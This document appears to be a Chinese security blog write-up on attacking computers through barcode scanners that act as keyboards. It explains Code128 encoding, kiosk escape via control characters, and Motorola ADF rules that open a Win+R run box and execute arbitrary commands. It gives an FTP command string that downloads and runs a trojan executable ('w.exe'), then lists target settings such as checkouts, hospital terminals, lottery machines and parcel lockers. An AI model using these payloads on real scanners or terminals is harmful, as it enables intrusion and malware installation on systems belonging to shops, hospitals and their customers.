Author:[email protected]
在日常生活中,條形碼隨處可見,特別在超市,便利店,物流業,但你們掃的條形碼真的安全嗎?之前TK教主?在PacSec介紹的條形碼攻擊和twitter上的demo視頻太炫酷,所以就自己買了個掃碼器自己研究了一下 ,在研究時候也找遍了國內外所有資料,但是都沒有對可以執行的攻擊技術完整的文章,故有此文分享。 : )
條形碼(barcode)是將寬度不等的多個黑條和空白,按照一定的編碼規則排列,用以表達一組信息的圖形標識符。常見的條形碼是由反射率相差很大的黑條(簡稱條)和白條(簡稱空)排成的平行線圖案。
常見的條形碼類型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一維條形碼,而QR則是二維條形碼,本文重點針對支持一維條形碼的掃碼器。其中code128是使用最廣泛,支持字符最多的一種類型,一般都利用code128條形碼進行攻擊。
掃碼器,大家幾乎每天都能看到,在超市付賬,物流,醫院,彩票等。作用就是把條形碼的信息提取出來,而常規的掃碼器的工作原理是利用紅外線照射,然后反射得出條形碼的信息,再用掃描器內置的芯片處理得出結果。國際上常用的掃描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托羅拉收購。
大家在超市購物付賬時候都注意到,商品通過掃描后,商品的編碼直接顯示在屏幕上,其實很多掃碼器都是用keyboard的方式輸入的,也就是說一個掃描器就相當于一個鍵盤,這是一個較大的風險。
既然知道掃描器是一個keyboard設備,只要控制條形碼的數據就可以隨意輸入鍵盤數據了。但例如UPC條形碼只支持數字,有些則只支持數字與字母,而Code128 是一種廣泛使用的條形碼類型,因為它支持ASCII 0-127字符,所以叫code128,條形碼長度可調,最大支持232個字符。
Code128也分為三種:
Code128由四部分組成:起始碼,數據碼,校驗碼(可有可無),結束碼
如上條形碼,黑白相間,且線條粗細不一;由黑色線條(條,Bar)與空白(空,Space)組成,根據粗細程度,可以將以上條形碼起始碼解讀為:211214;第一條黑色豎線是由兩個單位的豎線合并組成,而第二條空白豎線即由一個單位的豎線,如此類推。一般前6條的Bar與Space為一個單元。211214 用1,0轉成邏輯碼就是11010010000,也即是起始碼。
起始碼對照:
結束碼都是統一的1100011101011
根據上面的解讀出的邏輯碼11010010000,就可以推斷上面那個條形碼是屬于code128-B類型了。
最后再根據code128的編碼表就可以分析出條形碼的數據(編碼表太長就不貼完了)
根據上面分析的code128規則,已經可以自己寫出一個讀取識別和生成條形碼的程序了。而我們是要執行操作,最簡單的就是利用控制字符。控制字符即非顯示字符,例如回車,換行,制表符等。在ASCII中,0-31和127 就是控制字符。
根據ASCII的控制字符表,可以看出Ctrl+?的組合鍵幾乎都有了,例如Ctrl+O,也就是打開文件,但這個只是局部快捷組合鍵,在一些程序中才能應用,例如瀏覽器,word等等,利用這些控制字符在某些終端可以使程序跳出沙盒。如何生成可以使計算機執行Ctrl+O的條形碼?因為已經上面已經介紹過code128的規則算法,自己寫程序也可以。網絡也有很多條形碼生成的小程序,但在這里推薦一個強大的條形碼編輯工具:BarTender
下載安裝后點擊菜單欄“文件”-“新建”-“完成”,就會出現一個空白模板。
然后點擊條形碼按鈕就可以創建自己的條形碼,選擇code128類型。
利用BarTender輕松就可以生成出條形碼,而且字符可以隨時改動,方便調試。掃描上圖就驗證碼后,會輸入“FutureSec”,然后輸入控制字符Ctrl+O
掃碼器掃描后立即彈出對話框
市面上基本任何一款掃碼器都能執行,因為code128是絕大部分掃碼器都支持的。
Advanced Data Formatting(ADF),高級數據格式。是摩托羅拉針對掃描器開發的一種更高級的數據輸入,根據自己的設定一步一步的規則可以自定義輸入的數據,也可以說是一種支持編程的條形碼技術。
例如,在一個結賬系統中,當你對一個商品掃描后,由于該結賬系統不能直接對該條形碼直接處理,就需要這種技術。結賬系統識別碼:A12345,前面要A開頭;條形碼的數據類型:12345 純數字,想要在這個結賬系統中識別就要在輸入前進行處理。
再舉個例子:
條形碼的數據:
8523647122
通過ADF輸出的數據:
8523641<Enter>
如何實現ADF?
現在網上仍然沒有ADF的中文資料,而在外國的網站也寥寥無幾,無人問津,但靠tk的ppt中提到的ADF也是一頭霧水,因為沒有具體技術描述,只是一行字帶過。后來找到一份摩托羅拉撰寫300多頁的ADF指南PDF。
ADF是一種編程,根據自己的需求構建規則,而用的就不是用代碼進行編程而是條形碼。ADF把所有規則都用條形碼表示,例如Perfix/Suffix,Replace,字符輸入等。
利用ADF挾持掃描器數據
對掃描器進行ADF設置時要先掃描開始模式,Begin New Rule
此后開始掃描的條形碼都會被添加規則,前提是規則的邏輯是合法的。
隨后依次掃描下列條形碼
然后Save Rule
當Save Rule,掃描器的輸出數據都會被挾持成“TEST”,當你設置了ADF時,就會把你的規則按流程一步一步執行。
如何恢復?
掃描清除所有規則條形碼即可。
由于單憑控制字符無法執行命令,而ADF支持簡單的編程和更多的鍵,利用ADF可以輕松執行系統命令。由于ADF支持很多鍵,例如最有用的WIN+R。
在ADF中稱為GUI R,既然知道了可以WIN+R的鍵,利用上面的規則就可以彈出cmd執行了。但這樣還是不行,因為輸入的是由系統自動輸入,速度是手打無法可比的,當你執行到GUI R,再執行"c","m","d",win+r
的對話框還沒有出來就已經輸入了cmd,所有要延時,而ADF就支持,相當于編程中的sleep()
。
在錄ADF規則時,掃描延時后要輸入兩個Numeric,例如依次0和1兩個碼,就代表延時0.1秒,0和5就代表0.5秒,默認是延時1秒。
知道這些ADF條形碼后就可以構建彈出cmd,然后再利用控制字符執行命令,主要是Enter。但如果要按照以上這么搞的話,僅是彈出一個cmd窗口就要十多個條形碼了,也就是說掃描器要掃十多次。可以先看看騰訊玄武實驗室的demo視頻:
https://twitter.com/tombkeeper/status/663730674017300480
視頻中用了一疊條形碼,依次掃描,掃描了十多次就出來個cmd,可能這與掃描器型號也有關系。
這樣的話不管是規則生成和利用都非常繁瑣,其實是可以優化的,ADF的規則可以合并。利用motorola的掃描器軟件123scan。
123scan是摩托羅拉官方出品非常強大的掃描器管理軟件,在其官網可以下載。功能很多,在這里就介紹利用123scan設置ADF。
打開后點擊"Create new configuration file"->"My scanner is NOT connected"->選擇掃描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。
點擊Add action就是添加規則。
ADF所有規則都在里面,包括Beep控制(控制掃描器蜂鳴),Replace等。
設置延時0.5秒,依次添加規則。
最后會自動合并條形碼并輸出。
以上就是執行任意命令的條形碼payload,除去1和2的設置出廠設置和清除所有規則,只需要4個條形碼就可以執行任意單條命令。其中Send ALL that remains是代表設置ADF后掃描條形碼的原本數據。 以上四組條形碼的ADF流程是:輸入WIN+R鍵->延時0.5秒->輸入c鍵->輸入m鍵->輸入d鍵->輸入回車->延時0.5秒->執行條形碼的內容,而隨后的Send ALL that remains就是你要執行的命令,可以多行命令,要是單行命令基本上4條就夠不需要加Send ALL that remains。
利用ADF種植木馬
既然已經可以執行cmd命令,最簡單的方法就是利用ftp下載執行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。
#!bash
ftp test?CR?a?CR?a?CR?get w.exe?CR?bye?CR?w.exe?CR?get w.exe?CR?bye?CR?w.exe?CR?
下面給出我們的demo視頻,是已經經過掃描四次ADF設置后。不管掃描什么條形碼執行到Send ALL that remains。視頻中是利用FTP命令執行。
(測試型號Symbol-LS4208-SR20001ZZR)
http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2
密碼:wooyun520
簡單總結一下可能存在攻擊的場景地點:
1.商店付款
直接把條形碼替換到商品;很多便利店支持微信,支付寶二維碼支付,掃描器也支持多個類型條形碼,可以直接把條形碼存在手機中,讓其掃描;有些大型百貨有資助價格查詢終端,只要用特殊的條形碼到終端一掃就能跳出終端。
2.醫院病歷,檢驗單
現在醫院的掛號,病歷都會有個條形碼,直接到醫院自主終端或直接遞給護士掃描;去醫院都知道,有資助出檢驗單的終端,只要一掃就會單子,基本每個醫院都有了。
3.彩票
彩票自身都會有條形碼,兌換彩票就憑靠條形碼到機器識別,所以偽造或對檢驗機進行攻擊還是有可能,彩票終端類型這么多。
4.快遞單子
快遞都有條形碼,一般是code128或者code39類型。在一些快遞自助取件柜,和快遞小哥掃描的時候或許會出現風險。
。。。。。。
場景很多就不一一列舉了,以上場景有空我會逐一分析。
一維條形碼攻擊的概念在國外很多年前就有提出了,但是沒人深入研究。利用條形碼也可能出現SQL注射,XSS,溢出等攻擊。
無論什么設備,只要能控制一部分輸入,就存在風險!